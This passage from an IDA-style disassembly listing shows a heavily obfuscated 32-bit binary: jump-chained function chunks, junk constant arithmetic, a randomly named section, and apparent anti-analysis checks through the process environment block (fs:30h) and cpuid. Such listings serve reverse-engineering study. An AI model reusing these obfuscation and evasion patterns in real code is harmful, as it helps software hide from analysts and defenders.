loc_424549:				; CODE XREF: wto1jq8f:0042F64Bj
		or	esi, 121F6BF5h
		jmp	loc_4283F0
; ---------------------------------------------------------------------------


loc_424554:				; CODE XREF: wto1jq8f:0042E6A5j
		mov	[esi], edx

; =============== S U B	R O U T	I N E =======================================



sub_424556	proc near		; CODE XREF: sub_426E98+11Bp
					; sub_42EFB5:loc_427E04j

var_4		= dword	ptr -4

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [ebp-4]
		push	eax
		push	edi
		mov	edi, ecx
		xchg	edi, [esp+4+var_4]
		jmp	loc_426F4C
sub_424556	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE69


loc_424569:				; CODE XREF: sub_42BE69-27BBj
		push	offset loc_428DF7
		jmp	nullsub_71
; END OF FUNCTION CHUNK	FOR sub_42BE69

; =============== S U B	R O U T	I N E =======================================



sub_424573	proc near		; DATA XREF: sub_42C075+6o
		cmp	al, 0A4h
		jnz	loc_42D814
		jmp	loc_42FAF1
sub_424573	endp

; ---------------------------------------------------------------------------
		jmp	loc_42D814

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424585	proc near		; CODE XREF: sub_42CFE2-8FD7p
					; wto1jq8f:00424142j ...

var_14		= byte ptr -14h
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00425A31 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004262E3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042784C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427B25 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00428840 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A07D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042A3D0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042BD27 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		jb	sub_428DBE
		add	esp, 0FFFFFFECh
		mov	eax, offset dword_42FB68
		jmp	loc_42784C
sub_424585	endp


; =============== S U B	R O U T	I N E =======================================



sub_42459B	proc near		; DATA XREF: sub_425944+8C29o

; FUNCTION CHUNK AT 0042D403 SIZE 00000005 BYTES

		jnz	loc_42D403
sub_42459B	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_425944


loc_4245A1:				; CODE XREF: wto1jq8f:00424FC1j
					; sub_425944:loc_42617Aj ...
		pop	ecx
		pop	ecx
		pop	ebp
		jmp	loc_42CBBC
; END OF FUNCTION CHUNK	FOR sub_425944
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428A19


loc_4245A9:				; CODE XREF: sub_424ADA+7j
					; wto1jq8f:004281BEj ...
		mov	dword ptr [ebp-8], 1
		jmp	loc_42EFFC
; END OF FUNCTION CHUNK	FOR sub_428A19

; =============== S U B	R O U T	I N E =======================================



sub_4245B5	proc near		; CODE XREF: sub_42E9E8:loc_425C4Dp
					; sub_4293FF+6p ...

; FUNCTION CHUNK AT 004272DE SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042D47E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042D536 SIZE 00000005 BYTES

		jno	sub_425B8C
		push	ebp
		mov	ebp, esp
		jmp	loc_42D536
sub_4245B5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_4245C3:				; CODE XREF: sub_42C486:loc_42C75Aj
		jnz	loc_42E6AA
		jmp	loc_4250A3
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
		rol	ebp, 15h
		jmp	sub_424702

; =============== S U B	R O U T	I N E =======================================



sub_4245D6	proc near		; CODE XREF: sub_4283CC:loc_42F104p
					; wto1jq8f:0042F58Fj

; FUNCTION CHUNK AT 004243AB SIZE 00000010 BYTES
; FUNCTION CHUNK AT 004243FB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429081 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042A503 SIZE 00000011 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [ebp-4]
		mov	eax, [eax]
		and	eax, 0FFFFFFh
		jmp	loc_429081
sub_4245D6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_4245E9:				; CODE XREF: wto1jq8f:0042FED3j
		jnz	loc_4264E4
		jmp	loc_424F90
; ---------------------------------------------------------------------------
		jno	loc_426D52
		jmp	sub_42EAED

; =============== S U B	R O U T	I N E =======================================



sub_4245FF	proc near		; CODE XREF: wto1jq8f:0042A703p
					; wto1jq8f:0042CC40j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004274B8 SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	66C50F1Dh
		pop	eax
		add	eax, 997D6B60h
		xchg	eax, [esp-4+arg_0]
		jmp	loc_4274B8
sub_4245FF	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428F61


loc_424617:				; CODE XREF: sub_428F61:loc_42A97Bj
		pop	eax
		rol	eax, 0Bh
		add	eax, 0C16EA896h
		push	60F74CEBh
		pop	edx
		add	edx, 9D2561E0h
		rol	edx, 0Bh
		jmp	loc_427CB3
; END OF FUNCTION CHUNK	FOR sub_428F61

; =============== S U B	R O U T	I N E =======================================



sub_424635	proc near		; CODE XREF: sub_42CB36-844Ep
					; wto1jq8f:0042FE9Aj

; FUNCTION CHUNK AT 0042E18A SIZE 00000005 BYTES

		mov	[esp+0], ecx
		pop	ecx
		push	0
		push	offset loc_429F1A
		jmp	loc_42E18A
sub_424635	endp

; ---------------------------------------------------------------------------
		test	eax, 0DFA90653h
		jmp	loc_42B98A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F947


loc_424650:				; CODE XREF: sub_42F947+Cj
		pop	ecx
		push	0A6D0CA55h
		pop	eax
		sub	eax, 0F94E0BB1h
		or	eax, 42B0898Ah
		jmp	loc_42C8E8
; END OF FUNCTION CHUNK	FOR sub_42F947
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9FC


loc_424668:				; CODE XREF: sub_42D9FC:loc_4273BAj
					; sub_42D9FC+1172j
		call	sub_427488


loc_42466D:				; DATA XREF: sub_424D63+829Ao
		push	2EF8AD77h
		pop	esi
		and	esi, ds:4000F5h
		or	esi, 8C46BDF6h
		add	esi, 5363D301h
		xchg	esi, [esp+0]
		jmp	sub_4243D7
; END OF FUNCTION CHUNK	FOR sub_42D9FC
; ---------------------------------------------------------------------------


loc_42468D:				; CODE XREF: wto1jq8f:0042DC94j
		rol	ebx, 0Ah
; START	OF FUNCTION CHUNK FOR sub_4244EA


loc_424690:				; CODE XREF: sub_4244EA:loc_42DC7Aj
		add	ecx, 8E51FED4h
		xchg	ecx, [esp-4+arg_0]
		jmp	loc_42ACE8
; END OF FUNCTION CHUNK	FOR sub_4244EA
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_236. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_42469F:				; CODE XREF: sub_42C486+190Fj
		jmp	nullsub_143
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42750A


loc_4246A4:				; CODE XREF: sub_42750A-CAAj
		jmp	loc_4268DA
; END OF FUNCTION CHUNK	FOR sub_42750A
; ---------------------------------------------------------------------------
		add	edi, 0A55C96BEh
		jmp	sub_426E65
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4263B3


loc_4246B4:				; CODE XREF: sub_4263B3+13j
		add	ebx, 0C1D66915h
		push	offset loc_42413F
		jmp	nullsub_18
; END OF FUNCTION CHUNK	FOR sub_4263B3
; ---------------------------------------------------------------------------

locret_4246C4:				; CODE XREF: wto1jq8f:loc_427CAEj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_4246C5:				; CODE XREF: sub_42506F+4A5Fj
		jmp	loc_42BD14
; END OF FUNCTION CHUNK	FOR sub_42506F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB36


loc_4246CA:				; CODE XREF: sub_42CB36:loc_4246EDj
		rol	edx, 0Bh
		or	ecx, esi
		jmp	loc_4267E6
; END OF FUNCTION CHUNK	FOR sub_42CB36

; =============== S U B	R O U T	I N E =======================================



sub_4246D4	proc near		; CODE XREF: sub_42A3BC-5969p
					; wto1jq8f:0042E8E4j

arg_C		= dword	ptr  10h

; FUNCTION CHUNK AT 00427FCE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428D5C SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042CDF4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042ED47 SIZE 0000000D BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		add	ebx, ecx
		pop	edx
		jmp	loc_42CDF4
sub_4246D4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB36


loc_4246E0:				; CODE XREF: sub_42CB36+Ej
		jnz	loc_42BC8F
		push	0
		call	sub_424635


loc_4246ED:				; CODE XREF: wto1jq8f:loc_42F4E8j
					; sub_42E9E8+BD6j
		jmp	loc_4246CA
; END OF FUNCTION CHUNK	FOR sub_42CB36
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C0C


loc_4246F2:				; CODE XREF: sub_426C0C+145Cj
		jmp	loc_42C8FC
; END OF FUNCTION CHUNK	FOR sub_426C0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_4246F7:				; CODE XREF: sub_426E98+30C4j
		cmp	esi, 6B910D20h
		jmp	loc_429C4F
; END OF FUNCTION CHUNK	FOR sub_426E98

; =============== S U B	R O U T	I N E =======================================



sub_424702	proc near		; CODE XREF: wto1jq8f:004245D1j
					; sub_429C18:loc_42D15Bp

; FUNCTION CHUNK AT 0042691C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042A945 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E149 SIZE 00000014 BYTES

		mov	[esp+0], edx
		pop	edx
		jnz	loc_424FC7
		mov	eax, [ebp-4]
		jmp	loc_42691C
sub_424702	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42628C


loc_424714:				; CODE XREF: sub_42628C:loc_42CF73j
		mov	eax, [ebp-4]
		call	sub_42D35A


loc_42471C:				; CODE XREF: wto1jq8f:loc_4299E5j
		test	al, al
		call	sub_42903A


loc_424723:				; CODE XREF: sub_424702+9A56j
		jmp	nullsub_137
; END OF FUNCTION CHUNK	FOR sub_42628C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4283CC


loc_424728:				; CODE XREF: sub_4283CC:loc_42D60Dj
		add	ebp, 376ADA43h
		jmp	loc_42F0FE
; END OF FUNCTION CHUNK	FOR sub_4283CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_424733:				; CODE XREF: sub_426E98:loc_42D96Fj
		call	sub_42F614
; END OF FUNCTION CHUNK	FOR sub_426E98
; START	OF FUNCTION CHUNK FOR sub_42CF89


loc_424738:				; CODE XREF: sub_42CF89:loc_42AEF4j
		add	edi, 0CDD62523h
		push	offset sub_428A7D
		jmp	loc_426936
; END OF FUNCTION CHUNK	FOR sub_42CF89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DD2D


loc_424748:				; CODE XREF: sub_42DD2D+24Ej
		or	ecx, ds:4000FAh
		add	ecx, 2442537h
		xchg	ecx, [esp+0]
		jmp	sub_424585
; END OF FUNCTION CHUNK	FOR sub_42DD2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262F5


loc_42475C:				; CODE XREF: sub_4262F5+10F2j
		jge	loc_42E9B8
		xor	esi, 0E3AC3CE4h
		jmp	loc_42B11F
; END OF FUNCTION CHUNK	FOR sub_4262F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E3FD


loc_42476D:				; CODE XREF: sub_42E3FD-9EE5j
		pop	edx
		pop	ebp
		jmp	loc_428B27
; ---------------------------------------------------------------------------


loc_424774:				; CODE XREF: sub_42E3FD+12j
		add	ebx, ecx
		rol	eax, 1Eh
		xor	eax, 28487859h
		jmp	loc_42B432
; END OF FUNCTION CHUNK	FOR sub_42E3FD
; ---------------------------------------------------------------------------

locret_424784:				; CODE XREF: wto1jq8f:loc_42D55Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F50F


loc_424785:				; CODE XREF: sub_42F50F-5405j
		jmp	nullsub_99
; END OF FUNCTION CHUNK	FOR sub_42F50F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425DF0


loc_42478A:				; CODE XREF: sub_425DF0+1Bj
		jmp	nullsub_8
; END OF FUNCTION CHUNK	FOR sub_425DF0
; ---------------------------------------------------------------------------
		popf
		jmp	sub_42C698
; ---------------------------------------------------------------------------


loc_424795:				; CODE XREF: wto1jq8f:00428637j
		sub	ecx, 0FB2DBAA3h
		jmp	loc_42761E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A467


loc_4247A0:				; CODE XREF: sub_42A467-3630j
		mov	eax, ecx


loc_4247A2:				; CODE XREF: sub_42A467:loc_425A6Cj
		push	offset sub_4273F7
		jmp	loc_424B42
; END OF FUNCTION CHUNK	FOR sub_42A467
; ---------------------------------------------------------------------------
		push	eax
		rol	eax, 18h


loc_4247B0:				; CODE XREF: wto1jq8f:0042EFEBj
		mov	ds:dword_42CAE0, eax
		retn
; ---------------------------------------------------------------------------
		push	4E206D15h
		jmp	loc_42B177

; =============== S U B	R O U T	I N E =======================================



sub_4247C1	proc near		; DATA XREF: sub_424382o

; FUNCTION CHUNK AT 00429D7E SIZE 00000005 BYTES

		push	ebx
		push	ecx
		mov	eax, large fs:30h
		push	offset loc_42BDFB
		jmp	loc_429D7E
sub_4247C1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426C04


loc_4247D4:				; CODE XREF: sub_426C04+1j
		mov	ebp, esp
		jnz	sub_42BE51
		add	esp, 0FFFFFFE4h
		mov	[ebp-8], edx
		mov	[ebp-4], eax
		xor	eax, eax
		jmp	loc_426E43
; END OF FUNCTION CHUNK	FOR sub_426C04
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_211. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429B76


loc_4247ED:				; CODE XREF: sub_429B76+4556j
		jmp	loc_42B374
; END OF FUNCTION CHUNK	FOR sub_429B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A909


loc_4247F2:				; CODE XREF: sub_42A909+22Cj
		sub	ebx, ecx
		cmp	ecx, 9F761E91h
		jmp	loc_4242E1
; END OF FUNCTION CHUNK	FOR sub_42A909
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_4247FF:				; CODE XREF: sub_42E9E8-6366j
		pop	eax
		xor	eax, 49E4350Eh
		add	eax, 701C9428h
		popf
		jmp	loc_428A8F
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A1B


loc_424812:				; CODE XREF: sub_424A1B+24j
		push	offset loc_424AB5


loc_424817:				; CODE XREF: wto1jq8f:loc_427762j
		jmp	nullsub_219
; END OF FUNCTION CHUNK	FOR sub_424A1B

; =============== S U B	R O U T	I N E =======================================



sub_42481C	proc near		; CODE XREF: sub_429BFF:loc_42B334p
					; wto1jq8f:0042FFFBj

; FUNCTION CHUNK AT 00424949 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042900A SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004294DD SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042A257 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042A49E SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0042E045 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042F3C5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F628 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F979 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [eax-4]
		push	eax
		call	sub_42A4A5
		test	eax, eax
		jmp	loc_4294DD
sub_42481C	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FACF


loc_424830:				; CODE XREF: sub_42FACF:loc_42A7D8j
		jnz	loc_42DC09
		jmp	loc_42C372
; END OF FUNCTION CHUNK	FOR sub_42FACF

; =============== S U B	R O U T	I N E =======================================



sub_42483B	proc near		; CODE XREF: sub_429308-4DDAp
					; wto1jq8f:0042F6D8j
		xchg	esi, [esp+0]
		pop	esi
		setnz	byte ptr [ebp-9]
		mov	al, [ebp-9]
		mov	esp, ebp
		pop	ebp
		retn
sub_42483B	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A3BC


loc_42484A:				; CODE XREF: sub_42A3BC+2B87j
		jmp	loc_42F973
; END OF FUNCTION CHUNK	FOR sub_42A3BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C6C3


loc_42484F:				; CODE XREF: sub_42C6C3+11j
		jmp	loc_42D81C
; END OF FUNCTION CHUNK	FOR sub_42C6C3
; ---------------------------------------------------------------------------


loc_424854:				; CODE XREF: wto1jq8f:0042B888j
		jmp	loc_42A1DA

; =============== S U B	R O U T	I N E =======================================



sub_424859	proc near		; CODE XREF: sub_42A3EB:loc_424A82p
					; sub_42F947+7p

; FUNCTION CHUNK AT 0042B75D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042DAED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042FAA9 SIZE 00000005 BYTES

		push	ebp
		jmp	loc_42DAED
sub_424859	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42414C


loc_42485F:				; CODE XREF: sub_42414C:loc_42F853j
		call	sub_424585
		mov	edx, 4CB976E9h
		call	sub_429165
		call	sub_429017
; END OF FUNCTION CHUNK	FOR sub_42414C
; START	OF FUNCTION CHUNK FOR sub_42DB52


loc_424873:				; CODE XREF: sub_42DB52:loc_428F51j
		adc	edi, 0A44687EBh
		rol	ebp, 19h
		jmp	loc_42A9A6
; END OF FUNCTION CHUNK	FOR sub_42DB52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_424881:				; CODE XREF: sub_429471-2BC1j
		jnz	loc_42BF3B
		cmp	edi, edx
		jmp	loc_42B18A
; END OF FUNCTION CHUNK	FOR sub_429471
; ---------------------------------------------------------------------------


loc_42488E:				; CODE XREF: wto1jq8f:0042F4BDj
		jnz	loc_42A442
		jmp	loc_4263AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B520


loc_424899:				; CODE XREF: sub_42B520+Aj
		and	eax, 7
		mov	[ebp-14h], eax
		cmp	dword ptr [ebp-10h], 3
		push	offset sub_42E1D2
		jmp	nullsub_48
; END OF FUNCTION CHUNK	FOR sub_42B520
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B8FC


loc_4248AD:				; CODE XREF: sub_42B8FC-386Aj
		cmp	edx, 925E668Bh
		jmp	loc_42C129
; END OF FUNCTION CHUNK	FOR sub_42B8FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB63


loc_4248B8:				; CODE XREF: sub_42CB63-6101j
		jz	loc_42C1CB
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_42604C
		jmp	loc_42F8F0
; END OF FUNCTION CHUNK	FOR sub_42CB63
; ---------------------------------------------------------------------------

locret_4248CC:				; CODE XREF: wto1jq8f:loc_42B57Fj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426950


loc_4248CD:				; CODE XREF: sub_426950:loc_42BB0Dj
		jnz	loc_4263E7
		jmp	loc_42A5F1
; END OF FUNCTION CHUNK	FOR sub_426950
; ---------------------------------------------------------------------------


loc_4248D8:				; CODE XREF: wto1jq8f:0042F59Aj
		cdq


loc_4248D9:				; CODE XREF: wto1jq8f:loc_42CBC6j
		add	dword ptr [esi], 0F80486h
; START	OF FUNCTION CHUNK FOR sub_4262F5


loc_4248DF:				; CODE XREF: sub_42F2C7-94A6j
					; wto1jq8f:loc_426035j	...
		pop	edi
		pop	esi
		jmp	loc_4293BB
; END OF FUNCTION CHUNK	FOR sub_4262F5

; =============== S U B	R O U T	I N E =======================================



sub_4248E6	proc near		; CODE XREF: wto1jq8f:0042E770j
					; wto1jq8f:0042F448p

arg_0		= dword	ptr  4

		mov	[esp+0], edx
		pop	edx
		xchg	esi, [esp-4+arg_0]
		jmp	sub_429165
sub_4248E6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424BD4


loc_4248F2:				; CODE XREF: sub_424BD4:loc_428FC1j
					; sub_42C4E2-30C4j
		call	sub_426E98
		pop	ecx
		shl	eax, 3
		mov	edx, [ebp+8]
		or	[edx-8], eax
		jmp	loc_42A80D
; END OF FUNCTION CHUNK	FOR sub_424BD4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_102. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_424907	proc near		; CODE XREF: sub_42E9E8:loc_4265CFp
					; wto1jq8f:0042B4E3j

; FUNCTION CHUNK AT 0042918B SIZE 0000000B BYTES

		mov	[esp+0], eax
		pop	eax
		xor	ebx, ebx
		xor	ecx, ecx
		xor	edx, edx
		cpuid
		add	[esi], eax
		jmp	loc_42918B
sub_424907	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CA3D


loc_42491A:				; CODE XREF: sub_42CA3D:loc_42CDC5j
		call	sub_424406
; END OF FUNCTION CHUNK	FOR sub_42CA3D
; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_42491F:				; CODE XREF: sub_42D9D9:loc_426E8Ej
		call	sub_42BE69


loc_424924:				; CODE XREF: sub_42A909-1A2Bj
		jmp	loc_42C9C9
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428AE5


loc_424929:				; CODE XREF: sub_428AE5-2EAAj
		jmp	loc_42F5FB
; END OF FUNCTION CHUNK	FOR sub_428AE5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426535


loc_42492E:				; CODE XREF: sub_426535+76F4j
		xor	eax, 0DEC52FB9h


loc_424934:				; CODE XREF: sub_426535:loc_42416Bj
					; sub_426535-14ECj ...
		jns	loc_42BDAA
		cmp	dword ptr [ebp-4], 6
		jnz	loc_42F4F4
		jmp	loc_4277FA
; END OF FUNCTION CHUNK	FOR sub_426535
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42481C


loc_424949:				; CODE XREF: sub_42481C+47F0j
		mov	eax, [ebp-8]
		call	sub_42A56D
		pop	ecx


loc_424952:				; CODE XREF: wto1jq8f:0042E8C5j
		pop	ecx
		jmp	loc_42F979
; END OF FUNCTION CHUNK	FOR sub_42481C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_424958:				; CODE XREF: sub_429471:loc_4260BFj
					; DATA XREF: sub_427F8F:loc_42C20Bo
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-4], 4
		jnz	loc_42496E
		add	dword ptr [ebp-8], 4
		jmp	loc_42AA82
; ---------------------------------------------------------------------------


loc_42496E:				; CODE XREF: sub_429471-4B12j
		add	dword ptr [ebp-8], 2
		jmp	loc_42AA82
; END OF FUNCTION CHUNK	FOR sub_429471
; ---------------------------------------------------------------------------


loc_424977:				; CODE XREF: wto1jq8f:0042DDB7j
		adc	edi, 88FD7ED1h
		test	edx, 0B5BB1D04h
		jmp	loc_429DB2
; ---------------------------------------------------------------------------


loc_424988:				; DATA XREF: wto1jq8f:loc_42635Eo
		push	edx
		push	edi
		push	36AA6C02h
		pop	edi
		jmp	loc_4276FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42FAE4


loc_424995:				; CODE XREF: sub_42FAE4-16BFj
		jnb	loc_42BDFE
		pushf
		jl	loc_426931
		mov	esi, 6D5B5F8Eh
		jmp	loc_42F149
; END OF FUNCTION CHUNK	FOR sub_42FAE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42760F


loc_4249AC:				; CODE XREF: sub_42760F+Aj
		jnz	loc_42A7C4


loc_4249B2:				; CODE XREF: sub_42CA12:loc_42EC6Fj
		jnb	loc_42DEDC
		lea	eax, [ebp-125h]
		push	eax
		call	sub_42B02D
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_42D900
		jmp	loc_427772
; END OF FUNCTION CHUNK	FOR sub_42760F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429165


loc_4249D6:				; CODE XREF: sub_429165:loc_42D608j
		cmp	[ebp+var_4], 0
		jz	loc_4250CA
		mov	eax, [ebp+var_4]
		push	offset loc_428F04
		jmp	sub_42F8E5
; END OF FUNCTION CHUNK	FOR sub_429165
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_4249ED:				; CODE XREF: sub_42C486:loc_42E086j
		pop	edx
		add	edx, 0B82782FFh
		or	edx, 7ECFEFC1h
		jnz	loc_42AD77


loc_424A00:				; CODE XREF: sub_42B353+4C7Ej
		jmp	loc_4288DE
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_424A05:				; CODE XREF: sub_42D9D9-932j
		jmp	nullsub_94
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; ---------------------------------------------------------------------------
		push	0B406C6D0h
		jnz	loc_42AB5D
		jmp	loc_42AD69
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424A1B	proc near		; CODE XREF: wto1jq8f:00424C98p

; FUNCTION CHUNK AT 00424812 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		call	sub_42D133


loc_424A23:				; DATA XREF: sub_426086+Ao
		add	eax, ebp
		add	eax, 55C45975h
		mov	dword ptr [eax], 474244h
		push	0
		push	0C9F21593h
		pop	eax
		add	eax, 7F9EC428h
		jmp	loc_424812
sub_424A1B	endp

; ---------------------------------------------------------------------------


loc_424A44:				; DATA XREF: sub_42C6B1-24FFo
		mov	ebp, esp
		call	sub_42750A


loc_424A4B:				; CODE XREF: wto1jq8f:0042F982j
		and	ecx, edi
; START	OF FUNCTION CHUNK FOR sub_42A3BC


loc_424A4D:				; CODE XREF: sub_42A3BC:loc_42F973j
		add	eax, 0A8DD7161h
		call	sub_4246D4
; END OF FUNCTION CHUNK	FOR sub_42A3BC
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_178. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42DE87


loc_424A59:				; CODE XREF: sub_42DE87+Dj
		jmp	loc_428116
; END OF FUNCTION CHUNK	FOR sub_42DE87
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9D9


loc_424A5E:				; CODE XREF: sub_42D9D9-5002j
		jmp	nullsub_95
; END OF FUNCTION CHUNK	FOR sub_42D9D9
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_205. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D2E


loc_424A64:				; CODE XREF: sub_429D2E+28A1j
		jmp	loc_428D27
; END OF FUNCTION CHUNK	FOR sub_429D2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A14D


loc_424A69:				; CODE XREF: sub_42A14D:loc_424C90j
		jmp	loc_42A9C9
; END OF FUNCTION CHUNK	FOR sub_42A14D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427A8D


loc_424A6E:				; CODE XREF: sub_427A8D:loc_42C46Bj
		or	eax, eax
		jnz	loc_42A041
		jmp	loc_4243EA
; END OF FUNCTION CHUNK	FOR sub_427A8D
; ---------------------------------------------------------------------------
		mov	eax, edx
		jmp	sub_42F75D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A3EB


loc_424A82:				; CODE XREF: sub_42A3EB:loc_428D05j
		call	sub_424859
		pop	ecx
		mov	eax, [ebp-4]
; END OF FUNCTION CHUNK	FOR sub_42A3EB
; START	OF FUNCTION CHUNK FOR sub_42A3DA


loc_424A8B:				; CODE XREF: sub_42A3DA:loc_428C6Cj
		pushf
		push	2BEC3172h
		pop	edx
		add	edx, 2417B798h
		jmp	loc_4281F5
; END OF FUNCTION CHUNK	FOR sub_42A3DA
; ---------------------------------------------------------------------------
		db 0Fh,	8Ah, 0F8h
		dd 0B00001Ch, 0FC8EE9C1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A197


